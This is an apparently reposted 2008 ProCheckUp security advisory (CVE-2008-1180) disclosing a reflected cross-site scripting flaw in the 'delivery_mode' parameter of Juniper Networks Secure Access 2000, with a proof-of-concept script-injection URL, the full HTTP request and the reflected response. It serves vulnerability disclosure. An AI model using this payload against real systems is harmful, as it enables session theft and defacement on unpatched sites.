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Arrow  Topic :

XSS on Juniper Networks Secure Access 2000


Arrow  SecurityAlert : 3720
Arrow  CVE : CVE-2008-1180
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : ProCheckUp Research
Arrow  Published : 06.03.2008

Arrow  Affected Software : Juniper Networks Secure Access 2000



Arrow  Advisory Text :  

PR07-41: XSS on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Medium-high

Description:

Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'

Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000)
5.5R1 (build 11711)

Proof of concept:

https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</A
PPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryag
a

in&signinId=url_default

Consequences:

An attacker may be able to cause execution of malicious scripting code
in the browser of a victim user who clicks on a link to a Juniper
Networks Secure Access site. Such code would run within the security
context of the target domain.

This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.: admin
session IDs) to unauthorised third parties.

Fix:

Juniper Networks was aware of this issue which they addressed on version
5.5R3. However, we decided to release this advisory due to lack of
information regarding this vulnerability in the public domain.

References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secur
e_access_2000/

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

COMPLETE HTTP REQUEST:

GET
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%
20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default
HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]

PARTIAL HTTP RESPONSE:

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode
</APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>

Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.





Arrow  Feedback :

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